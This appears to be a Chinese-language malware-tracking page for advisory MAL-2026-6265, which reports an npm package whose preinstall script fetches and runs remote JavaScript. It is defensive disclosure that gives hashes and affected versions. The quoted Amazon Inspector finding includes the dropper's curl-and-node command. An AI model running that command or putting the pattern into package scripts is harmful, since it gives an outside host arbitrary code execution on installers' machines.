目标达成 感谢每一位支持者 — 我们达成了 100% 目标!

目标: 1000 元 · 已筹: 1359 元

100%
← 返回恶意软件包
npm active

sn-internal-testjgsakjdkjadkjah

MAL-2026-6265
2026-06-22 18:27:28
OpenSSF Malicious Packages
该软件包被识别为恶意包。建议隔离受影响环境,并排查凭据泄露和异常网络连接。

Summary

Malicious code in sn-internal-testjgsakjdkjadkjah (npm)

安装阶段执行文件/数据外传
AI 分析整理qwen3.6
基于上游报告生成,请以下方原始证据为准。
公开使用量数据
统计周期
last-week
下载量
—
数据源
npmjs.org
下载量只代表仓库活动度,不等于已被入侵的安装数量。
受影响版本
EcosystemPackageVersion
npmsn-internal-testjgsakjdkjadkjah2.1.2
npmsn-internal-testjgsakjdkjadkjah2.1.3
npmsn-internal-testjgsakjdkjadkjah2.1.4
npmsn-internal-testjgsakjdkjadkjah2.1.5
npmsn-internal-testjgsakjdkjadkjah2.1.6
恶意行为说明OpenSSF OSV
上游来源证据
展开原始 OSV JSON
{"modified":"2026-06-22T18:27:28Z","published":"2026-06-22T17:37:41Z","schema_version":"1.7.4","id":"MAL-2026-6265","summary":"Malicious code in sn-internal-testjgsakjdkjadkjah (npm)","details":"\n---\n_-= Per source details. Do not edit below this line.=-_\n\n## Source: amazon-inspector (fd1a751946e8be92bbd0b675c57b3389e1e54919a69f5f6fef414a16cc2f1261)\npackage.json declares a preinstall lifecycle script that runs `curl https://poc.amanrawat.com/hehe.js -o index.js && node index.js`. On `npm install`, this downloads JavaScript from poc.amanrawat.com over an unpinned, unverified URL, overwrites the package's index.js with the fetched bytes, and immediately executes them with node under the installer's user privileges. The destination is a personal domain unrelated to any legitimate publisher infrastructure, the content is mutable (whatever bytes are served at request time are executed), and there is no hash, signature, or version pin. This is a textbook install-time remote code execution dropper: the attacker controlling poc.amanrawat.com can run arbitrary code on every machine that installs this package, including developer workstations and CI systems. Package metadata (name `sn-internal-testjgsakjdkjadkjah`, description 'This is our internal app for testing', author `amanrawat` matching the fetch domain) suggests a proof-of-concept publication, but the install-time behavior is functionally identical to a malicious dropper regardless of author intent.\n","affected":[{"package":{"ecosystem":"npm","name":"sn-internal-testjgsakjdkjadkjah"},"versions":["2.1.6","2.1.4","2.1.5","2.1.3","2.1.2"],"database_specific":{"cwes":[{"cweId":"CWE-506","description":"The product contains code that appears to be malicious in nature.","name":"Embedded Malicious Code"},{"cweId":"CWE-506","description":"The product contains code that appears to be malicious in nature.","name":"Embedded Malicious Code"},{"cweId":"CWE-506","description":"The product contains code that appears to be malicious in nature.","name":"Embedded Malicious Code"},{"cweId":"CWE-506","description":"The product contains code that appears to be malicious in nature.","name":"Embedded Malicious Code"},{"cweId":"CWE-506","description":"The product contains code that appears to be malicious in nature.","name":"Embedded Malicious Code"}],"indicators":{"evidence_files":[{"path":"package.json","sha256":"0d87ef2487058e34acf3709d5415d97390553973ecc741f3e3cede8fdb5eb463","tlsh":"d6e0c0318b23513745c011a2cc6a880fc6928e2f00057c0863af012c80cf17398fe31c"}],"package_integrity":[{"filename":"sn-internal-testjgsakjdkjadkjah-2.1.6.tgz","hashes":{"sha1":"6f17c4c0b742f3850938f5aaa151f542267d2187","sha512_sri":"sha512-HTMhlQASaKYFxG8WHa8n9w5AWtm/lVLARi51jC+piA6hc1/kBwI8QqwaIPwXUF4nY3pPanBIDqR4pebveM5cTA=="}}]}}}],"references":[{"type":"PACKAGE","url":"https://www.npmjs.com/package/sn-internal-testjgsakjdkjadkjah/v/2.1.6"},{"type":"PACKAGE","url":"https://www.npmjs.com/package/sn-internal-testjgsakjdkjadkjah/v/2.1.4"},{"type":"PACKAGE","url":"https://www.npmjs.com/package/sn-internal-testjgsakjdkjadkjah/v/2.1.5"},{"type":"PACKAGE","url":"https://www.npmjs.com/package/sn-internal-testjgsakjdkjadkjah/v/2.1.3"},{"type":"PACKAGE","url":"https://www.npmjs.com/package/sn-internal-testjgsakjdkjadkjah/v/2.1.2"}],"credits":[{"name":"Amazon Inspector","type":"FINDER","contact":["inspector-research@amazon.com"]}],"database_specific":{"malicious-packages-origins":[{"id":"IN-MAL-2026-007143","import_time":"2026-06-22T18:25:28.42718717Z","modified_time":"2026-06-22T17:37:44Z","sha256":"104d861afe48d8f90ff5241fd3c0324be8825e37e81dcf868585e4171658054b","source":"amazon-inspector","versions":["2.1.6"]},{"id":"IN-MAL-2026-007140","import_time":"2026-06-22T18:25:28.132689822Z","modified_time":"2026-06-22T17:37:42Z","sha256":"7f6f1799ff0887b36122e417538f8bc76047b032dc1aa72837128f81fc04b377","source":"amazon-inspector","versions":["2.1.4"]},{"id":"IN-MAL-2026-007141","import_time":"2026-06-22T18:25:28.244241318Z","modified_time":"2026-06-22T17:37:42Z","sha256":"a35eca57d05f39239e4d349c590b7ca3ec3ea8a1824d67187cc2291708be83b9","source":"amazon-inspector","versions":["2.1.5"]},{"id":"IN-MAL-2026-007142","import_time":"2026-06-22T18:25:28.324275673Z","modified_time":"2026-06-22T17:37:43Z","sha256":"fd1a751946e8be92bbd0b675c57b3389e1e54919a69f5f6fef414a16cc2f1261","source":"amazon-inspector","versions":["2.1.3"]},{"id":"IN-MAL-2026-007139","import_time":"2026-06-22T18:25:28.045559048Z","modified_time":"2026-06-22T17:37:41Z","sha256":"3133d2680df3f93221fb38517609280f9f443360719c5be25b13d89107f25a7c","source":"amazon-inspector","versions":["2.1.2"]}]}}

数据来源:OpenSSF Malicious Packages · Apache-2.0